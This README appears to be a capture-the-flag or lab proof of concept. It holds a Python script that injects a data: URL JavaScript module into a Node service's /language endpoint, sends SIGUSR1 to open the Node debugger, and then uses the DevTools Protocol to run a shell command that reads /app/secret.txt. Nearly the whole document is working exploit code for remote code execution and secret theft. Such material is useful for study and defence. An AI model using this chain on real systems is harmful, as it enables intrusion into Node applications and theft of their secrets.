README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import urllib.parse
import time
BASE = "http://localhost:8000"
def inject(js: str, timeout: int = 20) -> dict:
lang = "data:text/javascript," + urllib.parse.quote(js.strip(), safe='!#$&()*+/:;=?@_~') + "//"
r = requests.post(f"{BASE}/language", json={"lang": lang}, timeout=timeout)
try:
return r.json().get('default', {})
except Exception:
return {"raw": r.text}
# step 1 : get target PID
resp = requests.get(f"{BASE}/pid")
pid = resp.json()["pid"]
print(f"TARGET PID : {pid}")
#real poc starts here
#step 2 : kill this process with SIGUSR1 to trigger the CDP debugger (listening on 127.0.0.1:9229)
step2_payload = f"""
process.kill({pid}, 'SIGUSR1');
export default {{ signal: 'SIGUSR1', sent_to: {pid} }};
"""
result = inject(step2_payload)
print(f"Response step 2 : {result}")
#let the process receive the signal and start the debugger
time.sleep(1)
#step 3 : connect to the CDP debugger and execute RCE
step3_payload = r"""
await new Promise(r => setTimeout(r, 400));
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1, method: 'Runtime.evaluate',
params: { expression: `process.mainModule.require('child_process').execSync('cat /app/secret.txt').toString()`, returnByValue: true }
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
"""
result = inject(step3_payload, timeout=15)
try:
secret = result['result']['result']['value']
print(f"SECRET : {secret.strip()}")
except Exception as e:
print(f"\n[-] Parsing error : {e}")
print(f" Raw : {result}")